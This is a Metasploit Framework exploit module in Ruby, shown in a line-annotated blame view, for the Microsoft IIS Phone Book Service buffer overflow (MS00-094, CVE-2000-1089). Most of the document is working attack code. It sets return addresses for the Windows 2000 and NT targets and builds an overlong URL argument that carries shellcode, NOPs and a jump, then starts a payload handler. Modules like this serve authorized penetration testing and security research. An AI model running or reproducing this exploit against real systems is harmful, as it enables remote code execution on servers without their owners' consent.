2008-08-10 10:12:45 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-08-10 10:12:45 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-08-10 10:12:45 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-08-10 10:12:45 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2008-08-10 10:12:45 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-08-10 10:12:45 +00:00
|
|
|
'Name' => 'Microsoft IIS Phone Book Service Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This is an exploit for the Phone Book Service /pbserver/pbserver.dll
|
2008-08-10 10:12:45 +00:00
|
|
|
described in MS00-094. By sending an overly long URL argument
|
|
|
|
for phone book updates, it is possible to overwrite the stack. This
|
|
|
|
module has only been tested against Windows 2000 SP1.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2000-1089' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '463' ],
|
|
|
|
[ 'BID', '2048' ],
|
2008-08-10 10:12:45 +00:00
|
|
|
[ 'MSB', 'MS00-094' ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 896,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20%&=?",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
|
|
|
|
['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
|
|
|
|
['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 04 2000',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
|
|
|
|
], self.class)
|
2008-08-10 10:12:45 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
print_status("Requesting the vulnerable ISAPI path...")
|
|
|
|
res = send_request_raw({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URL'])
|
2010-04-30 08:40:19 +00:00
|
|
|
}, 5)
|
2008-08-10 10:12:45 +00:00
|
|
|
|
|
|
|
if (res and res.code == 400)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
print_status("Sending overflow...")
|
|
|
|
|
|
|
|
res = send_request_raw({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
|
2008-08-10 10:12:45 +00:00
|
|
|
}, 5)
|
|
|
|
|
|
|
|
handler
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|